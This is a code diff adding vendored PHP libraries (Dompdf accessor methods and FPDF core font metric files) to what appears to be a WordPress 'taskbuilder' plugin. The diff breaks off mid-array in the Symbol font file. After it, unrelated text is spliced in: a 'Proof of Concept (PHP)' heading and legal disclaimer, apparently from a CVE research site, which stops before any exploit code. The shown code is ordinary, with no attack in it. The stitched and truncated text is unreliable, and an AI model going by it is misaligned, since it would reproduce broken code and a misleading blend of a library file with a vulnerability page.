+     * Sets the HTTP context
+     *
+     * @param resource|array $httpContext
+     * @return $this
+     */
+    public function setHttpContext($httpContext)
+    {
+        $this->options->setHttpContext($httpContext);
+        return $this;
+    }
+
+    /**
+     * @return resource
+     * @deprecated
+     */
+    public function get_http_context()
+    {
+        return $this->getHttpContext();
+    }
+
+    /**
+     * Returns the HTTP context
+     *
+     * @return resource
+     */
+    public function getHttpContext()
+    {
+        return $this->options->getHttpContext();
+    }
+
+    /**
+     * Set a custom `Canvas` instance to render the document to.
+     *
+     * Be aware that the instance will be replaced on render if the document
+     * defines a paper size different from the canvas.
+     *
+     * @param Canvas $canvas
+     * @return $this
+     */
+    public function setCanvas(Canvas $canvas)
+    {
+        $this->canvas = $canvas;
+        return $this;
+    }
+
+    /**
+     * @return Canvas
+     * @deprecated
+     */
+    public function get_canvas()
+    {
+        return $this->getCanvas();
+    }
+
+    /**
+     * Return the underlying Canvas instance (e.g. DompdfAdapterCPDF, DompdfAdapterGD)
+     *
+     * @return Canvas
+     */
+    public function getCanvas()
+    {
+        return $this->canvas;
+    }
+
+    /**
+     * @param Stylesheet $css
+     * @return $this
+     */
+    public function setCss(Stylesheet $css)
+    {
+        $this->css = $css;
+        return $this;
+    }
+
+    /**
+     * @return Stylesheet
+     * @deprecated
+     */
+    public function get_css()
+    {
+        return $this->getCss();
+    }
+
+    /**
+     * Returns the stylesheet
+     *
+     * @return Stylesheet
+     */
+    public function getCss()
+    {
+        return $this->css;
+    }
+
+    /**
+     * @param DOMDocument $dom
+     * @return $this
+     */
+    public function setDom(DOMDocument $dom)
+    {
+        $this->dom = $dom;
+        return $this;
+    }
+
+    /**
+     * @return DOMDocument
+     * @deprecated
+     */
+    public function get_dom()
+    {
+        return $this->getDom();
+    }
+
+    /**
+     * @return DOMDocument
+     */
+    public function getDom()
+    {
+        return $this->dom;
+    }
+
+    /**
+     * @param Options $options
+     * @return $this
+     */
+    public function setOptions(Options $options)
+    {
+        // For backwards compatibility
+        if ($this->options && $this->options->getHttpContext() && !$options->getHttpContext()) {
+            $options->setHttpContext($this->options->getHttpContext());
+        }
+
+        $this->options = $options;
+        $fontMetrics = $this->fontMetrics;
+        if (isset($fontMetrics)) {
+            $fontMetrics->setOptions($options);
+        }
+        return $this;
+    }
+
+    /**
+     * @return Options
+     */
+    public function getOptions()
+    {
+        return $this->options;
+    }
+
+    /**
+     * @return array
+     * @deprecated
+     */
+    public function get_callbacks()
+    {
+        return $this->getCallbacks();
+    }
+
+    /**
+     * Returns the callbacks array
+     *
+     * @return array
+     */
+    public function getCallbacks()
+    {
+        return $this->callbacks;
+    }
+
+    /**
+     * @param array $callbacks the set of callbacks to set
+     * @return $this
+     * @deprecated
+     */
+    public function set_callbacks($callbacks)
+    {
+        return $this->setCallbacks($callbacks);
+    }
+
+    /**
+     * Define callbacks that allow modifying the document during render.
+     *
+     * The callbacks array should contain arrays with `event` set to a callback
+     * event name and `f` set to a function or any other callable.
+     *
+     * The available callback events are:
+     * * `begin_page_reflow`: called before page reflow
+     * * `begin_frame`: called before a frame is rendered
+     * * `end_frame`: called after frame rendering is complete
+     * * `begin_page_render`: called before a page is rendered
+     * * `end_page_render`: called after page rendering is complete
+     * * `end_document`: called for every page after rendering is complete
+     *
+     * The function `f` receives three arguments `Frame $frame`, `Canvas $canvas`,
+     * and `FontMetrics $fontMetrics` for all events but `end_document`. For
+     * `end_document`, the function receives four arguments `int $pageNumber`,
+     * `int $pageCount`, `Canvas $canvas`, and `FontMetrics $fontMetrics` instead.
+     *
+     * @param array $callbacks The set of callbacks to set.
+     * @return $this
+     */
+    public function setCallbacks(array $callbacks): self
+    {
+        $this->callbacks = [];
+
+        foreach ($callbacks as $c) {
+            if (is_array($c) && isset($c["event"]) && isset($c["f"])) {
+                $event = $c["event"];
+                $f = $c["f"];
+                if (is_string($event) && is_callable($f)) {
+                    $this->callbacks[$event][] = $f;
+                }
+            }
+        }
+
+        return $this;
+    }
+
+    /**
+     * @return boolean
+     * @deprecated
+     */
+    public function get_quirksmode()
+    {
+        return $this->getQuirksmode();
+    }
+
+    /**
+     * Get the quirks mode
+     *
+     * @return boolean true if quirks mode is active
+     */
+    public function getQuirksmode()
+    {
+        return $this->quirksmode;
+    }
+
+    /**
+     * @param FontMetrics $fontMetrics
+     * @return $this
+     */
+    public function setFontMetrics(FontMetrics $fontMetrics)
+    {
+        $this->fontMetrics = $fontMetrics;
+        return $this;
+    }
+
+    /**
+     * @return FontMetrics
+     */
+    public function getFontMetrics()
+    {
+        return $this->fontMetrics;
+    }
+
+    /**
+     * PHP5 overloaded getter
+     * Along with {@link Dompdf::__set()} __get() provides access to all
+     * properties directly.  Typically __get() is not called directly outside
+     * of this class.
+     *
+     * @param string $prop
+     *
+     * @throws Exception
+     * @return mixed
+     */
+    function __get($prop)
+    {
+        switch ($prop) {
+            case 'version':
+                return $this->version;
+            default:
+                throw new Exception('Invalid property: ' . $prop);
+        }
+    }
+}
--- a/taskbuilder/asset/lib/fpdf/autoload.inc.php
+++ b/taskbuilder/asset/lib/fpdf/autoload.inc.php
@@ -0,0 +1 @@
+<?php require (__DIR__ . '/vendor/autoload.php');
 No newline at end of file
--- a/taskbuilder/asset/lib/fpdf/font/courier.php
+++ b/taskbuilder/asset/lib/fpdf/font/courier.php
@@ -0,0 +1,10 @@
+<?php
+$type = 'Core';
+$name = 'Courier';
+$up = -100;
+$ut = 50;
+for($i=0;$i<=255;$i++)
+	$cw[chr($i)] = 600;
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/courierb.php
+++ b/taskbuilder/asset/lib/fpdf/font/courierb.php
@@ -0,0 +1,10 @@
+<?php
+$type = 'Core';
+$name = 'Courier-Bold';
+$up = -100;
+$ut = 50;
+for($i=0;$i<=255;$i++)
+	$cw[chr($i)] = 600;
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/courierbi.php
+++ b/taskbuilder/asset/lib/fpdf/font/courierbi.php
@@ -0,0 +1,10 @@
+<?php
+$type = 'Core';
+$name = 'Courier-BoldOblique';
+$up = -100;
+$ut = 50;
+for($i=0;$i<=255;$i++)
+	$cw[chr($i)] = 600;
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/courieri.php
+++ b/taskbuilder/asset/lib/fpdf/font/courieri.php
@@ -0,0 +1,10 @@
+<?php
+$type = 'Core';
+$name = 'Courier-Oblique';
+$up = -100;
+$ut = 50;
+for($i=0;$i<=255;$i++)
+	$cw[chr($i)] = 600;
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/helvetica.php
+++ b/taskbuilder/asset/lib/fpdf/font/helvetica.php
@@ -0,0 +1,21 @@
+<?php
+$type = 'Core';
+$name = 'Helvetica';
+$up = -100;
+$ut = 50;
+$cw = array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667,
+	'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833,
+	'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556,
+	chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556,
+	chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500);
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/helveticab.php
+++ b/taskbuilder/asset/lib/fpdf/font/helveticab.php
@@ -0,0 +1,21 @@
+<?php
+$type = 'Core';
+$name = 'Helvetica-Bold';
+$up = -100;
+$ut = 50;
+$cw = array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722,
+	'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889,
+	'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611,
+	chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556);
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/helveticabi.php
+++ b/taskbuilder/asset/lib/fpdf/font/helveticabi.php
@@ -0,0 +1,21 @@
+<?php
+$type = 'Core';
+$name = 'Helvetica-BoldOblique';
+$up = -100;
+$ut = 50;
+$cw = array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722,
+	'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889,
+	'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611,
+	chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556);
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/helveticai.php
+++ b/taskbuilder/asset/lib/fpdf/font/helveticai.php
@@ -0,0 +1,21 @@
+<?php
+$type = 'Core';
+$name = 'Helvetica-Oblique';
+$up = -100;
+$ut = 50;
+$cw = array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667,
+	'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833,
+	'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556,
+	chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556,
+	chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500);
+$enc = 'cp1252';
+$uv = array(0=>array(0,128),128=>8364,130=>8218,131=>402,132=>8222,133=>8230,134=>array(8224,2),136=>710,137=>8240,138=>352,139=>8249,140=>338,142=>381,145=>array(8216,2),147=>array(8220,2),149=>8226,150=>array(8211,2),152=>732,153=>8482,154=>353,155=>8250,156=>339,158=>382,159=>376,160=>array(160,96));
+?>
--- a/taskbuilder/asset/lib/fpdf/font/symbol.php
+++ b/taskbuilder/asset/lib/fpdf/font/symbol.php
@@ -0,0 +1,20 @@
+<?php
+$type = 'Core';
+$name = 'Symbol';
+$up = -100;
+$ut = 50;
+$cw = array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>713,'#'=>500,'$'=>549,'%'=>833,'&'=>778,'''=>439,'('=>333,')'=>333,'*'=>500,'+'=>549,
+	','=>250,'-'=>549,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>549,'='=>549,'>'=>549,'?'=>444,'@'=>549,'A'=>722,
+	'B'=>667,'C'=>722,'D'=>612,'E'=>611,'F'=>763,'G'=>603,'H'=>722,'I'=>333,'J'=>631,'K'=>722,'L'=>686,'M'=>8

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
